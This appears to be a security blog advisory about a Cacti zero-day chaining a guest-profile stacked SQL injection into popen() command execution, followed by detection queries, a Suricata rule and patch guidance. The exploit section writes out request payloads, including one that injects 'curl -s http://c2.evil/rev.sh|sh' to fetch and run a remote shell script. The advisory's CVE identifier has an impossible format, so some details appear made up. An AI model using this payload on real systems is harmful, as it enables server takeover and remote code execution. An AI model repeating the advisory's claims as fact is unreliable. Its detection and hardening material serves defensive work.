Cacti Network Monitoring "4HTTP2SHELL" (CVE-2026-4HTTP2SHELL): Unauthenticated 4-Request Remote Code Execution Zero-Day via Stacked SQLi and Real-Time Poller popen()

Cacti 4HTTP2SHELL Zero-Day Exploit Architecture
📌
Security Roundup Series: Weekend of November 30, 2026 • 6 min read deep dive
🚨
Vulnerability Intelligence: CVE ID: CVE-2026-4HTTP2SHELL (Zero-Day Public Disclosure) (CWE-89 SQL Injection / CWE-78 OS Command Injection / CWE-284 Improper Access Control) Severity: CRITICAL (UNAUTHENTICATED PRE-AUTH RCE IN 4 HTTP REQUESTS) (CVSS 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)) Threat Actor: Disclosed by ek0ms savi0r with Public PoC; Wild Scanners & Exploitation Observed Status: Actively Exploited Zero-Day; Upstream Hotfix Released Nov 28; Public Exploit Circulating Affected Systems: Cacti Core 1.2.31 and prior versions with Guest access enabled Fixed In: Cacti 1.2.31-hotfix / Commit e7b10fa2

Over the holiday weekend, security researcher ek0ms savi0r released full technical details and a weaponized proof-of-concept exploit for an unpatched vulnerability chain dubbed "4HTTP2SHELL" (also tracked as "4HTTP2ROOT") affecting the widely used open-source network monitoring suite Cacti (version 1.2.31). The exploit allows an unauthenticated remote attacker to execute arbitrary operating system commands under the web server's user account in exactly four HTTP requests. The vulnerability relies on Cacti’s optional built-in guest account feature (frequently left enabled in enterprise Network Operations Centers to display read-only monitoring dashboards). By combining an unvalidated profile preference update, a second-order stacked SQL injection, and a call to PHP’s popen() function inside the real-time graphing poller, an attacker achieves interactive remote shell access within milliseconds.

Cacti 4HTTP2SHELL Zero-Day Exploit Architecture
Figure 1: Architectural progression of the 4HTTP2SHELL zero-day: profile setting injection, second-order stacked SQL injection updating poller_item, and real-time popen() execution.

Technical Deconstruction of the 4-Request Exploit Chain

The beauty and danger of 4HTTP2SHELL lies in its elegant combination of low-privilege configuration persistence and delayed command execution:

Request 1 & 2: Authenticating as Guest & Seeding the Payload

First, the attacker requests a session token from Cacti. If the administrator has enabled the guest user account, the application assigns a valid session without prompting for credentials. The attacker then transmits an HTTP POST request to /auth_profile.php to update user preferences:

POST /cacti/auth_profile.php HTTP/1.1
Host: target.internal
Cookie: Cacti=attacker_session_cookie;
Content-Type: application/x-www-form-urlencoded

preview_graphs_per_page=1; UPDATE poller_item SET command='curl -s http://c2.evil/rev.sh|sh' WHERE local_data_id=1;--&action=save

While the interface expects an integer indicating the number of graphs to render per page, auth_profile.php accepts the parameter as a raw string and writes it directly into the user’s session settings database row without typecasting or parameter validation.

Request 3: Triggering the Second-Order Stacked SQL Injection

Next, the attacker requests /graph_view.php. When generating the graph grid, the application queries the user's saved preview_graphs_per_page preference and concatenates it directly into an internal SQL query:

SELECT * FROM graph_templates_graph LIMIT 0, [injected_string];

Because Cacti utilizes a database abstraction driver configured with multi-query support enabled by default, the database server treats the semicolon as a query separator. The injected UPDATE poller_item ... statement executes immediately, overwriting the command field of the active polling item associated with data source ID 1.

Request 4: Triggering Real-Time Poller popen() Execution

Finally, the attacker issues a GET request to /graph_realtime.php?local_data_id=1. This utility endpoint generates live SVG graph updates by directly retrieving the command associated with the target data source from poller_item and executing it via PHP:

$command = db_fetch_cell("SELECT command FROM poller_item WHERE local_data_id = " . $local_data_id);
$fp = popen($command, "r");
while (!feof($fp)) {
    $buffer .= fgets($fp, 4096);
}
pclose($fp);

The overwritten command fires instantly under the privileges of the web server (typically www-data, apache, or cacti). If the poller cron daemon is running as root, lateral privilege escalation follows shortly thereafter.


Detection Telemetry & Threat Hunting Indicators

Web Server Access Log Hunting

Search access logs for rapid sequential requests from identical IP addresses exhibiting the 4-step signature within a 5-second window:

grep -E "(auth_profile.php|graph_view.php|graph_realtime.php)" /var/log/nginx/access.log | awk '{print $1, $4, $7}'

MySQL / MariaDB Audit Query

Inspect the poller_item table for unauthorized shell commands, base64 blobs, or URL downloads:

SELECT local_data_id, rrd_name, command 
FROM poller_item 
WHERE command LIKE '%sh%' 
   OR command LIKE '%curl%' 
   OR command LIKE '%wget%' 
   OR command LIKE '%python%';

Suricata Signature

alert http any any -> $HTTP_SERVERS any (
  msg:"COLIBRISEC Cacti 4HTTP2SHELL Stacked SQL Injection Attempt";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/auth_profile.php"; http_uri;
  content:"preview_graphs_per_page="; http_client_body;
  content:"UPDATE"; nocase; http_client_body;
  content:"poller_item"; nocase; http_client_body;
  classtype:web-application-attack;
  sid:20264002; rev:1;
)

Emergency Mitigations & Hardening Playbook

  1. Disable Guest Account Immediately: In the Cacti web interface, navigate to Console → Configuration → Users. Select the Guest user account and uncheck the Enabled checkbox. This breaks Request 1 of the exploit chain.
  2. Restrict Network Exposure: Cacti web interfaces should never be exposed to the public internet. Restrict access via perimeter firewalls or VPNs to dedicated network administrator subnets.
  3. Process Auditing: Inspect process trees using auditd or EDR sensors to flag any sh, bash, or curl processes spawned as child processes of php-fpm or httpd.

Hotfix Application: If running Cacti 1.2.31, apply the patch released in commit e7b10fa2 to enforce strict integer casting on profile parameters in auth_profile.php:

set_request_var('preview_graphs_per_page', intval(get_nfilter_request_var('preview_graphs_per_page')));

Read more

ColibriSec Weekly Security Roundup — Week of December 4, 2026 Threat Intelligence Matrix

Security Roundup: CISA KEV Acronis/HFS/TYPO3 Wave, Agentic AI CyberStrikeAI & DoorDash Attacks, TeamCity & HPE CVSS 10.0, Linux 21-Year Netfilter & USB2Shell, Woolworths 14M & Roche 169GB Breaches (Week of December 4, 2026)

Executive Summary: The week of November 28 to December 4, 2026 marks a decisive operational inflection point across enterprise security, kernel engineering, autonomous AI threats, sovereign cyber legislation, and global data breaches. Between November 30 and December 3, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) expanded its Known

By James Luther
CISA KEV Wave: Acronis CVE-2026-87887, Rejetto HFS CVE-2026-61500 & TYPO3 CVE-2026-125160

CISA KEV Nov 30–Dec 3 Wave: Acronis Backup Zero-Day (CVE-2026-87887), Rejetto HFS Math.random() RCE (CVE-2026-61500) & TYPO3 Path Disclosure (CVE-2026-125160)

📌Security Roundup Series: Week of December 4, 2026 • 7 min read deep dive🚨Vulnerability Intelligence: CVE ID: CVE-2026-87887 (Acronis), CVE-2026-61500 (Rejetto HFS) & CVE-2026-125160 (TYPO3) (CWE-863 Incorrect Authorization / CWE-338 Weak PRNG / CWE-209 Error Info Exposure) Severity: CRITICAL (ACTIVE EXPLOITATION IN WILD / MANDATORY CISA KEV BOD 26-04) (CVSS 9.8 Critical

By James Luther
JetBrains TeamCity CVE-2026-136858 and HPE Networking Central COP CVSS 10.0 Architecture

Enterprise CI/CD & Network Control-Plane Criticals: JetBrains TeamCity Build Agent Hijack (CVE-2026-136858) & HPE Networking Central On-Premises CVSS 10.0 SSH Backdoor

📌Security Roundup Series: Week of December 4, 2026 • 7 min read deep dive🚨Vulnerability Intelligence: CVE ID: CVE-2026-136858 (TeamCity) & CVE-2026-137285 / CVE-2026-137286 (HPE Central COP) (CWE-287 Improper Authentication / CWE-798 Use of Hard-coded Credentials) Severity: CRITICAL (TEAMCITY ACTIVELY EXPLOITED < 24H / HPE CVSS 10.0 HARD-CODED SSH) (CVSS 10.0 Critical

By James Luther
Linux Netfilter CVE-2026-139281, USB2Shell CVE-2026-98232 & RongYuan Keyboard Port 3814 Architecture

Linux Kernel & Peripheral Hardware Siege: 21-Year Netfilter IPv6 Firewall Bypass (CVE-2026-139281), USB2Shell (CVE-2026-98232) & 283-Brand RongYuan Keyboard Port 3814 CSWSH RCE

📌Security Roundup Series: Week of December 4, 2026 • 8 min read deep dive🚨Vulnerability Intelligence: CVE ID: CVE-2026-139281 (Linux Netfilter), CVE-2026-98232 (USB2Shell) & RongYuan Port 3814 CSWSH (CWE-681 Integer Truncation / CWE-191 Integer Underflow / CWE-306 Missing Auth & Wildcard CORS) Severity: CRITICAL (21-YEAR FIREWALL BYPASS, PRE-LOGIN KERNEL CORRUPTION & 283-BRAND BROWSER-TO-FIRMWARE

By James Luther